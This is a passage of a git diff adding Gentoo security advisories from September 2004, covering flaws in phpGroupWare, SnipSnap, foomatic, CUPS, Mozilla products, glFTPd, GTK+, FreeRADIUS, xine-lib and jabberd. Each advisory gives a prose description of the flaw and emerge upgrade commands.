+    suite is vulnerable to cross site scripting attacks.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    This vulnerability gives an attacker the ability to inject and execute
+    malicious script code, potentially compromising the victim's browser.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    The is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All phpGroupWare users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=www-apps/phpgroupware-0.9.16.003&quot;
+    # emerge &quot;&gt;=www-apps/phpgroupware-0.9.16.003&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://downloads.phpgroupware.org/changelog">phpGroupWare ChangeLog</uri>
+    <uri link="http://secunia.com/advisories/12466/">Secunia Advisory SA12466</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0875">CVE-2004-0875</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 10 Sep 2004 12:36:45 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 12 Sep 2004 14:15:58 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 16 Sep 2004 21:55:15 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200409-23.xml b/xml/htdocs/security/en/glsa/glsa-200409-23.xml
new file mode 100644
index 00000000..717ee2e5
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200409-23.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200409-23">
+  <title>SnipSnap: HTTP response splitting</title>
+  <synopsis>
+    SnipSnap is vulnerable to HTTP response splitting attacks such as web cache
+    poisoning, cross-user defacement, and cross-site scripting.
+  </synopsis>
+  <product type="ebuild">snipsnap</product>
+  <announced>September 17, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>64154</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-java/snipsnap-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.0_beta1</unaffected>
+      <vulnerable range="lt">1.0_beta1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    SnipSnap is a user friendly content management system with features
+    such as wiki and weblog.
+    </p>
+  </background>
+  <description>
+    <p>
+    SnipSnap contains various HTTP response splitting vulnerabilities that
+    could potentially compromise the sites data. Some of these attacks
+    include web cache poisoning, cross-user defacement, hijacking pages
+    with sensitive user information, and cross-site scripting. This
+    vulnerability is due to the lack of illegal input checking in the
+    software.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A malicious user could inject and execute arbitrary script code,
+    potentially compromising the victim's data or browser.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All SnipSnap users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=dev-java/snipsnap-bin-1.0_beta1&quot;
+    # emerge &quot;&gt;=dev-java/snipsnap-bin-1.0beta1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://snipsnap.org/space/start/2004-09-14/1#SnipSnap_1.0b1_(uttoxeter)_released">SnipSnap Release Notes</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1470">CVE-2004-1470</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 16 Sep 2004 20:00:37 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 16 Sep 2004 20:40:46 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200409-24.xml b/xml/htdocs/security/en/glsa/glsa-200409-24.xml
new file mode 100644
index 00000000..d42ed0e3
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200409-24.xml
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200409-24">
+  <title>Foomatic: Arbitrary command execution in foomatic-rip filter</title>
+  <synopsis>
+    The foomatic-rip filter in foomatic-filters contains a vulnerability which
+    may allow arbitrary command execution on the print server.
+  </synopsis>
+  <product type="ebuild">foomatic</product>
+  <announced>September 20, 2004</announced>
+  <revised>September 20, 2004: 01</revised>
+  <bug>64166</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-print/foomatic" auto="yes" arch="*">
+      <unaffected range="ge">3.0.2</unaffected>
+      <vulnerable range="le">3.0.1</vulnerable>
+    </package>
+    <package name="net-print/foomatic-filters" auto="yes" arch="*">
+      <unaffected range="ge">3.0.2</unaffected>
+      <vulnerable range="le">3.0.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Foomatic is a system for connecting printer drivers with spooler systems
+    such as CUPS and LPD. The foomatic-filters package contains wrapper scripts
+    which are designed to be used with Foomatic.
+    </p>
+  </background>
+  <description>
+    <p>
+    There is a vulnerability in the foomatic-filters package. This
+    vulnerability is due to insufficient checking of command-line parameters
+    and environment variables in the foomatic-rip filter.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    This vulnerability may allow both local and remote attackers to execute
+    arbitrary commands on the print server with the permissions of the spooler
+    (oftentimes the &quot;lp&quot; user).
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All foomatic users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=net-print/foomatic-3.0.2"
+    # emerge ">=net-print/foomatic-3.0.2"</code>
+    <p>
+    PLEASE NOTE: You should update foomatic, instead of foomatic-filters. This
+    will help to ensure that all other foomatic components remain functional.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://www.linuxprinting.org/pipermail/foomatic-devel/2004q3/001996.html">Foomatic Announcement</uri>
+    <uri link="http://www.mandrakesoft.com/security/advisories?name=MDKSA-2004:094">Mandrakesoft Security Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0801">CAN 2004-0801</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 16 Sep 2004 17:39:12 +0000">
+    condordes
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 20 Sep 2004 01:02:29 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200409-25.xml b/xml/htdocs/security/en/glsa/glsa-200409-25.xml
new file mode 100644
index 00000000..0c0f8a57
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200409-25.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200409-25">
+  <title>CUPS: Denial of service vulnerability</title>
+  <synopsis>
+    A vulnerability in CUPS allows remote attackers to cause a denial of
+    service when sending a carefully-crafted UDP packet to the IPP port.
+  </synopsis>
+  <product type="ebuild">CUPS</product>
+  <announced>September 20, 2004</announced>
+  <revised>September 21, 2004: 02</revised>
+  <bug>64168</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-print/cups" auto="yes" arch="*">
+      <unaffected range="ge">1.1.20-r2</unaffected>
+      <vulnerable range="lt">1.1.20-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Common UNIX Printing System (CUPS) is a cross-platform print spooler.
+    </p>
+  </background>
+  <description>
+    <p>
+    Alvaro Martinez Echevarria discovered a hole in the CUPS Internet Printing
+    Protocol (IPP) implementation that allows remote attackers to cause CUPS to
+    stop listening on the IPP port.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote user with malicious intent can easily cause a denial of service to
+    the CUPS daemon by sending a specially-crafted UDP datagram packet to the
+    IPP port.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All CUPS users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=net-print/cups-1.1.20-r2"
+    # emerge ">=net-print/cups-1.1.20-r2"</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cups.org/str.php?L863">CUPS Software Trouble Report</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0558">CAN-2004-0558</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 19 Sep 2004 06:22:23 +0000">
+    lewk
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 20 Sep 2004 00:58:55 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 20 Sep 2004 00:59:53 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200409-26.xml b/xml/htdocs/security/en/glsa/glsa-200409-26.xml
new file mode 100644
index 00000000..84d24725
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200409-26.xml
@@ -0,0 +1,121 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200409-26">
+  <title>Mozilla, Firefox, Thunderbird, Epiphany: New releases fix vulnerabilities</title>
+  <synopsis>
+    New releases of Mozilla, Epiphany, Mozilla Thunderbird, and Mozilla Firefox
+    fix several vulnerabilities, including the remote execution of arbitrary
+    code.
+  </synopsis>
+  <product type="ebuild">Mozilla</product>
+  <announced>September 20, 2004</announced>
+  <revised>December 30, 2007: 03</revised>
+  <bug>63996</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/mozilla" auto="yes" arch="*">
+      <unaffected range="ge">1.7.3</unaffected>
+      <vulnerable range="lt">1.7.3</vulnerable>
+    </package>
+    <package name="www-client/mozilla-firefox" auto="yes" arch="*">
+      <unaffected range="ge">1.0_pre</unaffected>
+      <vulnerable range="lt">1.0_pre</vulnerable>
+    </package>
+    <package name="mail-client/mozilla-thunderbird" auto="yes" arch="*">
+      <unaffected range="ge">0.8</unaffected>
+      <vulnerable range="lt">0.8</vulnerable>
+    </package>
+    <package name="www-client/mozilla-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.7.3</unaffected>
+      <vulnerable range="lt">1.7.3</vulnerable>
+    </package>
+    <package name="www-client/mozilla-firefox-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.0_pre</unaffected>
+      <vulnerable range="lt">1.0_pre</vulnerable>
+    </package>
+    <package name="mail-client/mozilla-thunderbird-bin" auto="yes" arch="*">
+      <unaffected range="ge">0.8</unaffected>
+      <vulnerable range="lt">0.8</vulnerable>
+    </package>
+    <package name="www-client/epiphany" auto="yes" arch="*">
+      <unaffected range="ge">1.2.9-r1</unaffected>
+      <vulnerable range="lt">1.2.9-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mozilla is a popular web browser that includes a mail and newsreader.
+    Epiphany is a web browser that uses Gecko, the Mozilla rendering
+    engine. Mozilla Firefox and Mozilla Thunderbird are respectively the
+    next-generation browser and mail client from the Mozilla project.
+    </p>
+  </background>
+  <description>
+    <p>
+    Mozilla-based products are vulnerable to multiple security issues.
+    Firstly routines handling the display of BMP images and VCards contain
+    an integer overflow and a stack buffer overrun. Specific pages with
+    long links, when sent using the "Send Page" function, and links with
+    non-ASCII hostnames could both cause heap buffer overruns.
+    </p>
+    <p>
+    Several issues were found and fixed in JavaScript rights handling:
+    untrusted script code could read and write to the clipboard, signed
+    scripts could build confusing grant privileges dialog boxes, and when
+    dragged onto trusted frames or windows, JavaScript links could access
+    information and rights of the target frame or window. Finally,
+    Mozilla-based mail clients (Mozilla and Mozilla Thunderbird) are
+    vulnerable to a heap overflow caused by invalid POP3 mail server
+    responses.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker might be able to run arbitrary code with the rights of the
+    user running the software by enticing the user to perform one of the
+    following actions: view a specially-crafted BMP image or VCard, use the
+    "Send Page" function on a malicious page, follow links with malicious
+    hostnames, drag multiple JavaScript links in a row to another window,
+    or connect to an untrusted POP3 mail server. An attacker could also use
+    a malicious page with JavaScript to disclose clipboard contents or
+    abuse previously-given privileges to request XPI installation
+    privileges through a confusing dialog.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround covering all vulnerabilities.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv your-version
+    # emerge your-version</code>
+  </resolution>
+  <references>
+    <uri link="http://www.mozilla.org/projects/security/known-vulnerabilities.html#mozilla1.7.3">Mozilla Security Advisory</uri>
+    <uri link="http://www.us-cert.gov/cas/techalerts/TA04-261A.html">US-CERT Security Alert TA04-261A</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0902">CVE-2004-0902</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0903">CVE-2004-0903</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0904">CVE-2004-0904</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0905">CVE-2004-0905</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0906">CVE-2004-0906</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0907">CVE-2004-0907</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0908">CVE-2004-0908</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0909">CVE-2004-0909</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sun, 19 Sep 2004 12:09:02 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 20 Sep 2004 15:58:46 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200409-27.xml b/xml/htdocs/security/en/glsa/glsa-200409-27.xml
new file mode 100644
index 00000000..d2420686
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200409-27.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200409-27">
+  <title>glFTPd: Local buffer overflow vulnerability</title>
+  <synopsis>
+    glFTPd is vulnerable to a local buffer overflow which may allow arbitrary
+    code execution.
+  </synopsis>
+  <product type="ebuild">glftpd</product>
+  <announced>September 21, 2004</announced>
+  <revised>September 21, 2004: 01</revised>
+  <bug>64809</bug>
+  <access>local</access>
+  <affected>
+    <package name="net-ftp/glftpd" auto="yes" arch="*">
+      <unaffected range="ge">1.32-r1</unaffected>
+      <vulnerable range="lt">1.32-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    glFTPd is a highly configurable FTP server with many features.
+    </p>
+  </background>
+  <description>
+    <p>
+    The glFTPd server is vulnerable to a buffer overflow in the 'dupescan'
+    program. This vulnerability is due to an unsafe strcpy() call which can
+    cause the program to crash when a large argument is passed.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local user with malicious intent can pass a parameter to the dupescan
+    program that exceeds the size of the buffer, causing it to overflow. This
+    can lead the program to crash, and potentially allow arbitrary code
+    execution with the permissions of the user running glFTPd, which could be
+    the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All glFTPd users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=net-ftp/glftpd-1.32-r1"
+    # emerge ">=net-ftp/glftpd-1.32-r1"</code>
+  </resolution>
+  <references>
+    <uri link="http://www.securityfocus.com/archive/1/375775/2004-09-17/2004-09-23/0">BugTraq Advisory</uri>
+    <uri link="http://www.glftpd.com/modules.php?op=modload&amp;name=News&amp;file=article&amp;sid=23&amp;mode=thread&amp;order=0&amp;thold=0">glFTPd Announcement</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 21 Sep 2004 03:12:24 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 21 Sep 2004 03:12:31 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200409-28.xml b/xml/htdocs/security/en/glsa/glsa-200409-28.xml
new file mode 100644
index 00000000..809ad51e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200409-28.xml
@@ -0,0 +1,94 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200409-28">
+  <title>GTK+ 2, gdk-pixbuf: Multiple image decoding vulnerabilities</title>
+  <synopsis>
+    The GdkPixbuf library, which is also included in GTK+ 2, contains several
+    vulnerabilities that could lead to a Denial of Service or the execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">gtk+</product>
+  <announced>September 21, 2004</announced>
+  <revised>September 21, 2004: 01</revised>
+  <bug>64230</bug>
+  <access>remote</access>
+  <affected>
+    <package name="x11-libs/gtk+" auto="yes" arch="*">
+      <unaffected range="ge">2.4.9-r1</unaffected>
+      <unaffected range="lt">2.0.0</unaffected>
+      <vulnerable range="lt">2.4.9-r1</vulnerable>
+    </package>
+    <package name="media-libs/gdk-pixbuf" auto="yes" arch="*">
+      <unaffected range="ge">0.22.0-r3</unaffected>
+      <vulnerable range="lt">0.22.0-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GTK+ (GIMP Toolkit +) is a toolkit for creating graphical user interfaces.
+    The GdkPixbuf library provides facilities for image handling. It is
+    available as a standalone library as well as shipped with GTK+ 2.
+    </p>
+  </background>
+  <description>
+    <p>
+    A vulnerability has been discovered in the BMP image preprocessor
+    (CAN-2004-0753). Furthermore, Chris Evans found a possible integer overflow
+    in the pixbuf_create_from_xpm() function, resulting in a heap overflow
+    (CAN-2004-0782). He also found a potential stack-based buffer overflow in
+    the xpm_extract_color() function (CAN-2004-0783). A possible integer
+    overflow has also been found in the ICO decoder.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    With a specially crafted BMP image an attacker could cause an affected
+    application to enter an infinite loop when that image is being processed.
+    Also, by making use of specially crafted XPM or ICO images an attacker
+    could trigger the overflows, which potentially allows the execution of
+    arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GTK+ 2 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=x11-libs/gtk+-2.4.9-r1"
+    # emerge ">=x11-libs/gtk+-2.4.9-r1"</code>
+    <p>
+    All GdkPixbuf users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=media-libs/gdk-pixbuf-0.22.0-r3"
+    # emerge ">=media-libs/gdk-pixbuf-0.22.0-r3"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0753">CAN-2004-0753</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0782">CAN-2004-0782</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0783">CAN-2004-0783</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0788">CAN-2004-0788</uri>
+    <uri link="http://bugzilla.gnome.org/show_bug.cgi?id=150601">GNOME Bug 150601</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 20 Sep 2004 06:35:32 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 21 Sep 2004 11:29:51 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 21 Sep 2004 13:51:30 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200409-29.xml b/xml/htdocs/security/en/glsa/glsa-200409-29.xml
new file mode 100644
index 00000000..b4ee4902
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200409-29.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200409-29">
+  <title>FreeRADIUS: Multiple Denial of Service vulnerabilities</title>
+  <synopsis>
+    Multiple Denial of Service vulnerabilities were found and fixed in
+    FreeRADIUS.
+  </synopsis>
+  <product type="ebuild">FreeRADIUS</product>
+  <announced>September 22, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>60587</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-dialup/freeradius" auto="yes" arch="*">
+      <unaffected range="ge">1.0.1</unaffected>
+      <vulnerable range="lt">1.0.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    FreeRADIUS is an open source RADIUS authentication server
+    implementation.
+    </p>
+  </background>
+  <description>
+    <p>
+    There are undisclosed defects in the way FreeRADIUS handles incorrect
+    received packets.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send specially-crafted packets to the
+    FreeRADIUS server to deny service to other users by crashing the
+    server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All FreeRADIUS users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=net-dialup/freeradius-1.0.1&quot;
+    # emerge &quot;&gt;=net-dialup/freeradius-1.0.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.freeradius.org/security.html">FreeRADIUS Vulnerability Notifications</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0938">CVE-2004-0938</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0960">CVE-2004-0960</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0961">CVE-2004-0961</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 20 Sep 2004 13:27:45 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 20 Sep 2004 15:22:58 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 21 Sep 2004 11:24:01 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200409-30.xml b/xml/htdocs/security/en/glsa/glsa-200409-30.xml
new file mode 100644
index 00000000..a0cf7fa0
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200409-30.xml
@@ -0,0 +1,81 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200409-30">
+  <title>xine-lib: Multiple vulnerabilities</title>
+  <synopsis>
+    xine-lib contains several vulnerabilities potentially allowing the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">xine-lib</product>
+  <announced>September 22, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>64348</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/xine-lib" auto="yes" arch="*">
+      <unaffected range="ge">1_rc6</unaffected>
+      <vulnerable range="le">1_rc5-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    xine-lib is a multimedia library which can be utilized to create
+    multimedia frontends.
+    </p>
+  </background>
+  <description>
+    <p>
+    xine-lib contains two stack-based overflows and one heap-based
+    overflow. In the code reading VCD disc labels, the ISO disc label is
+    copied into an unprotected stack buffer of fixed size. Also, there is a
+    buffer overflow in the code that parses subtitles and prepares them for
+    display (XSA-2004-4). Finally, xine-lib contains a heap-based overflow
+    in the DVD sub-picture decoder (XSA-2004-5).
+    </p>
+    <p>
+    (Please note that the VCD MRL issue mentioned in XSA-2004-4 was fixed
+    with GLSA 200408-18.)
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    With carefully-crafted VCDs, DVDs, MPEGs or subtitles, an attacker may
+    cause xine-lib to execute arbitrary code with the permissions of the
+    user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All xine-lib users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=media-libs/xine-lib-1_rc6&quot;
+    # emerge &quot;&gt;=media-libs/xine-lib-1_rc6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.securityfocus.com/archive/1/375485/2004-09-02/2004-09-08/0">BugTraq Announcement (XSA-2004-4)</uri>
+    <uri link="http://www.securityfocus.com/archive/1/375482/2004-09-02/2004-09-08/0">BugTraq Announcement (XSA-2004-5)</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1379">CVE-2004-1379</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1475">CVE-2004-1475</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1476">CVE-2004-1476</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 20 Sep 2004 06:34:44 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 21 Sep 2004 20:55:54 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 22 Sep 2004 11:19:16 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200409-31.xml b/xml/htdocs/security/en/glsa/glsa-200409-31.xml
new file mode 100644
index 00000000..f0ff35b6
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200409-31.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200409-31">
+  <title>jabberd 1.x: Denial of Service vulnerability</title>
+  <synopsis>
+    The jabberd server was found to be vulnerable to a remote Denial of Service
+    attack.
+  </synopsis>
+  <product type="ebuild">jabberd</product>
+  <announced>September 23, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>64741</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-im/jabberd" auto="yes" arch="*">
+      <unaffected range="ge">1.4.3-r4</unaffected>
+      <vulnerable range="le">1.4.3-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Jabber is a set of streaming XML protocols enabling message, presence,
+    and other structured information exchange between two hosts. jabberd is
+    the original implementation of the Jabber protocol server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Jose Antonio Calvo found a defect in routines handling XML parsing of
+    incoming data. jabberd 1.x may crash upon reception of invalid data on
+    any socket connection on which XML is parsed.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker may send a specific sequence of bytes to an open
+    socket to crash the jabberd server, resulting in a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All jabberd users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=net-im/jabberd-1.4.3-r4&quot;
+    # emerge &quot;&gt;=net-im/jabberd-1.4.3-r4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.jabber.org/pipermail/jabberd/2004-September/002004.html">Vulnerability disclosure</uri>
+    <uri link="http://www.jabber.org/pipermail/jadmin/2004-September/018046.html">Jabber announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1378">CVE-2004-1378</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 21 Sep 2004 11:27:04 +0000">
+    koon
+  </metadata>
